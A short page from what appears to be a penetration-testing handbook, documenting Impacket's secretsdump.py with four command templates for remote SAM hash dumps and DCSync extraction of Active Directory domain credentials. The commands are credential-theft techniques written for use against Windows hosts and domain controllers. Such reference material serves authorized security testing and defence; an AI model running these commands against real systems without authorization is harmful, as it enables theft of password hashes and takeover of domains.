> For the complete documentation index, see [llms.txt](https://book.redsquad.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.redsquad.xyz/windows-hacking/active-directory/2.-initial-attack-vectors/impacket/windows-secrets.md).

# Windows Secrets

Secretsdump is a script used to extract credentials and secrets from a system. The main use-cases for it are the following:

* Dump NTLM hash of local users (remote SAM dump)
* Extract domain credentials via DCSync

```bash
secretsdump.py -just-dc $username:$password@$domain/$hostname/$IP
```

```bash
secretsdump.py -dc-ip $ip $username:$password@$domain/$hostname/$IP
```

```bash
secretsdump.py -k -no-pass $domain/$hostname/$IP
```

```bash
secretsdump.py $domain/$username@$hostname/$IP 
```
